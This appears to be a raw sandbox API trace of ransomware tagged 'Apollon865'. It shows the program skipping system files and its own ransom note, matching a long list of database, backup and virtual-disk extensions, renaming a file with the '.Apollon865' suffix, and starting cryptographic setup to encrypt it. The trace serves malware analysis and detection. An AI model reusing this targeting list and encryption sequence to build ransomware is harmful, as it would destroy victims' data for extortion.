	[0062.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf700
	[0062.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0062.424] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.424] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.424] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0062.424] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0062.425] lstrlenW (lpString="desktop.ini") returned 11
	[0062.425] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 61
	[0062.425] lstrcpyW (in: lpString1=0x119e672, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0062.425] lstrlenW (lpString="desktop.ini") returned 11
	[0062.425] lstrlenW (lpString="Apollon865") returned 10
	[0062.425] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0062.425] lstrlenW (lpString=".dll") returned 4
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0062.425] lstrlenW (lpString=".lnk") returned 4
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0062.425] lstrlenW (lpString=".ini") returned 4
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0062.425] lstrlenW (lpString=".sys") returned 4
	[0062.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0062.425] lstrlenW (lpString="desktop.ini") returned 11
	[0062.425] lstrlenW (lpString="bak") returned 3
	[0062.425] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0062.425] lstrlenW (lpString="ba_") returned 3
	[0062.425] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0062.425] lstrlenW (lpString="dbb") returned 3
	[0062.425] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0062.425] lstrlenW (lpString="vmdk") returned 4
	[0062.425] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0062.425] lstrlenW (lpString="rar") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0062.426] lstrlenW (lpString="zip") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0062.426] lstrlenW (lpString="tgz") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0062.426] lstrlenW (lpString="vbox") returned 4
	[0062.426] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0062.426] lstrlenW (lpString="vdi") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0062.426] lstrlenW (lpString="vhd") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0062.426] lstrlenW (lpString="vhdx") returned 4
	[0062.426] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0062.426] lstrlenW (lpString="avhd") returned 4
	[0062.426] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0062.426] lstrlenW (lpString="db") returned 2
	[0062.426] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0062.426] lstrlenW (lpString="db2") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0062.426] lstrlenW (lpString="db3") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0062.426] lstrlenW (lpString="dbf") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0062.426] lstrlenW (lpString="mdf") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0062.426] lstrlenW (lpString="mdb") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0062.426] lstrlenW (lpString="sql") returned 3
	[0062.426] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0062.426] lstrlenW (lpString="sqlite") returned 6
	[0062.426] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0062.426] lstrlenW (lpString="sqlite3") returned 7
	[0062.426] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0062.426] lstrlenW (lpString="sqlitedb") returned 8
	[0062.426] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0062.427] lstrlenW (lpString="xml") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0062.427] lstrlenW (lpString="$er") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0062.427] lstrlenW (lpString="4dd") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0062.427] lstrlenW (lpString="4dl") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0062.427] lstrlenW (lpString="^^^") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0062.427] lstrlenW (lpString="abs") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0062.427] lstrlenW (lpString="abx") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0062.427] lstrlenW (lpString="accdb") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0062.427] lstrlenW (lpString="accdc") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0062.427] lstrlenW (lpString="accde") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0062.427] lstrlenW (lpString="accdr") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0062.427] lstrlenW (lpString="accdt") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0062.427] lstrlenW (lpString="accdw") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0062.427] lstrlenW (lpString="accft") returned 5
	[0062.427] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0062.427] lstrlenW (lpString="adb") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.427] lstrlenW (lpString="adb") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.427] lstrlenW (lpString="ade") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0062.427] lstrlenW (lpString="adf") returned 3
	[0062.427] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0062.428] lstrlenW (lpString="adn") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0062.428] lstrlenW (lpString="adp") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0062.428] lstrlenW (lpString="alf") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0062.428] lstrlenW (lpString="ask") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0062.428] lstrlenW (lpString="btr") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0062.428] lstrlenW (lpString="cat") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0062.428] lstrlenW (lpString="cdb") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0062.428] lstrlenW (lpString="ckp") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0062.428] lstrlenW (lpString="cma") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0062.428] lstrlenW (lpString="cpd") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0062.428] lstrlenW (lpString="dacpac") returned 6
	[0062.428] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0062.428] lstrlenW (lpString="dad") returned 3
	[0062.428] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0062.428] lstrlenW (lpString="dadiagrams") returned 10
	[0062.428] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0062.428] lstrlenW (lpString="daschema") returned 8
	[0062.428] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0062.428] lstrlenW (lpString="db-journal") returned 10
	[0062.428] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0062.428] lstrlenW (lpString="db-shm") returned 6
	[0062.428] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0062.428] lstrlenW (lpString="db-wal") returned 6
	[0062.428] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0062.428] lstrlenW (lpString="dbc") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0062.429] lstrlenW (lpString="dbs") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0062.429] lstrlenW (lpString="dbt") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0062.429] lstrlenW (lpString="dbv") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0062.429] lstrlenW (lpString="dbx") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0062.429] lstrlenW (lpString="dcb") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0062.429] lstrlenW (lpString="dct") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0062.429] lstrlenW (lpString="dcx") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0062.429] lstrlenW (lpString="ddl") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0062.429] lstrlenW (lpString="dlis") returned 4
	[0062.429] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0062.429] lstrlenW (lpString="dp1") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0062.429] lstrlenW (lpString="dqy") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0062.429] lstrlenW (lpString="dsk") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0062.429] lstrlenW (lpString="dsn") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0062.429] lstrlenW (lpString="dtsx") returned 4
	[0062.429] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0062.429] lstrlenW (lpString="dxl") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0062.429] lstrlenW (lpString="eco") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0062.429] lstrlenW (lpString="ecx") returned 3
	[0062.429] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0062.429] lstrlenW (lpString="edb") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0062.430] lstrlenW (lpString="epim") returned 4
	[0062.430] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0062.430] lstrlenW (lpString="fcd") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0062.430] lstrlenW (lpString="fdb") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0062.430] lstrlenW (lpString="fic") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0062.430] lstrlenW (lpString="flexolibrary") returned 12
	[0062.430] lstrlenW (lpString="fm5") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0062.430] lstrlenW (lpString="fmp") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0062.430] lstrlenW (lpString="fmp12") returned 5
	[0062.430] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0062.430] lstrlenW (lpString="fmpsl") returned 5
	[0062.430] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0062.430] lstrlenW (lpString="fol") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0062.430] lstrlenW (lpString="fp3") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0062.430] lstrlenW (lpString="fp4") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0062.430] lstrlenW (lpString="fp5") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0062.430] lstrlenW (lpString="fp7") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0062.430] lstrlenW (lpString="fpt") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0062.430] lstrlenW (lpString="frm") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0062.430] lstrlenW (lpString="gdb") returned 3
	[0062.430] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.430] lstrlenW (lpString="gdb") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.431] lstrlenW (lpString="grdb") returned 4
	[0062.431] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0062.431] lstrlenW (lpString="gwi") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0062.431] lstrlenW (lpString="hdb") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0062.431] lstrlenW (lpString="his") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0062.431] lstrlenW (lpString="ib") returned 2
	[0062.431] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0062.431] lstrlenW (lpString="idb") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0062.431] lstrlenW (lpString="ihx") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0062.431] lstrlenW (lpString="itdb") returned 4
	[0062.431] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0062.431] lstrlenW (lpString="itw") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0062.431] lstrlenW (lpString="jet") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0062.431] lstrlenW (lpString="jtx") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0062.431] lstrlenW (lpString="kdb") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0062.431] lstrlenW (lpString="kexi") returned 4
	[0062.431] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0062.431] lstrlenW (lpString="kexic") returned 5
	[0062.431] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0062.431] lstrlenW (lpString="kexis") returned 5
	[0062.431] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0062.431] lstrlenW (lpString="lgc") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0062.431] lstrlenW (lpString="lwx") returned 3
	[0062.431] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0062.431] lstrlenW (lpString="maf") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0062.432] lstrlenW (lpString="maq") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0062.432] lstrlenW (lpString="mar") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0062.432] lstrlenW (lpString="marshal") returned 7
	[0062.432] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0062.432] lstrlenW (lpString="mas") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0062.432] lstrlenW (lpString="mav") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0062.432] lstrlenW (lpString="maw") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0062.432] lstrlenW (lpString="mdbhtml") returned 7
	[0062.432] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0062.432] lstrlenW (lpString="mdn") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0062.432] lstrlenW (lpString="mdt") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0062.432] lstrlenW (lpString="mfd") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0062.432] lstrlenW (lpString="mpd") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0062.432] lstrlenW (lpString="mrg") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0062.432] lstrlenW (lpString="mud") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0062.432] lstrlenW (lpString="mwb") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0062.432] lstrlenW (lpString="myd") returned 3
	[0062.432] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0062.432] lstrlenW (lpString="ndf") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0062.433] lstrlenW (lpString="nnt") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0062.433] lstrlenW (lpString="nrmlib") returned 6
	[0062.433] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0062.433] lstrlenW (lpString="ns2") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0062.433] lstrlenW (lpString="ns3") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0062.433] lstrlenW (lpString="ns4") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0062.433] lstrlenW (lpString="nsf") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0062.433] lstrlenW (lpString="nv") returned 2
	[0062.433] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0062.433] lstrlenW (lpString="nv2") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0062.433] lstrlenW (lpString="nwdb") returned 4
	[0062.433] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0062.433] lstrlenW (lpString="nyf") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0062.433] lstrlenW (lpString="odb") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.433] lstrlenW (lpString="odb") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.433] lstrlenW (lpString="oqy") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0062.433] lstrlenW (lpString="ora") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0062.433] lstrlenW (lpString="orx") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0062.433] lstrlenW (lpString="owc") returned 3
	[0062.433] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0062.433] lstrlenW (lpString="p96") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0062.434] lstrlenW (lpString="p97") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0062.434] lstrlenW (lpString="pan") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0062.434] lstrlenW (lpString="pdb") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0062.434] lstrlenW (lpString="pdm") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0062.434] lstrlenW (lpString="pnz") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0062.434] lstrlenW (lpString="qry") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0062.434] lstrlenW (lpString="qvd") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0062.434] lstrlenW (lpString="rbf") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0062.434] lstrlenW (lpString="rctd") returned 4
	[0062.434] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0062.434] lstrlenW (lpString="rod") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0062.434] lstrlenW (lpString="rodx") returned 4
	[0062.434] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0062.434] lstrlenW (lpString="rpd") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0062.434] lstrlenW (lpString="rsd") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0062.434] lstrlenW (lpString="sas7bdat") returned 8
	[0062.434] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0062.434] lstrlenW (lpString="sbf") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0062.434] lstrlenW (lpString="scx") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0062.434] lstrlenW (lpString="sdb") returned 3
	[0062.434] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0062.435] lstrlenW (lpString="sdc") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0062.435] lstrlenW (lpString="sdf") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0062.435] lstrlenW (lpString="sis") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0062.435] lstrlenW (lpString="spq") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0062.435] lstrlenW (lpString="te") returned 2
	[0062.435] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0062.435] lstrlenW (lpString="teacher") returned 7
	[0062.435] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0062.435] lstrlenW (lpString="tmd") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0062.435] lstrlenW (lpString="tps") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0062.435] lstrlenW (lpString="trc") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.435] lstrlenW (lpString="trc") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.435] lstrlenW (lpString="trm") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0062.435] lstrlenW (lpString="udb") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0062.435] lstrlenW (lpString="udl") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0062.435] lstrlenW (lpString="usr") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0062.435] lstrlenW (lpString="v12") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0062.435] lstrlenW (lpString="vis") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0062.435] lstrlenW (lpString="vpd") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0062.435] lstrlenW (lpString="vvv") returned 3
	[0062.435] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0062.436] lstrlenW (lpString="wdb") returned 3
	[0062.436] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0062.436] lstrlenW (lpString="wmdb") returned 4
	[0062.436] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0062.436] lstrlenW (lpString="wrk") returned 3
	[0062.436] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0062.436] lstrlenW (lpString="xdb") returned 3
	[0062.436] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0062.436] lstrlenW (lpString="xld") returned 3
	[0062.436] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0062.436] lstrlenW (lpString="xmlff") returned 5
	[0062.436] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0062.436] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.Apollon865") returned 75
	[0062.436] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0062.437] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0062.437] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67) returned 1
	[0062.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0062.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0062.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0062.437] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf678) returned 1
	[0062.438] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.438] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.439] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x15c
	[0062.446] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0062.465] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
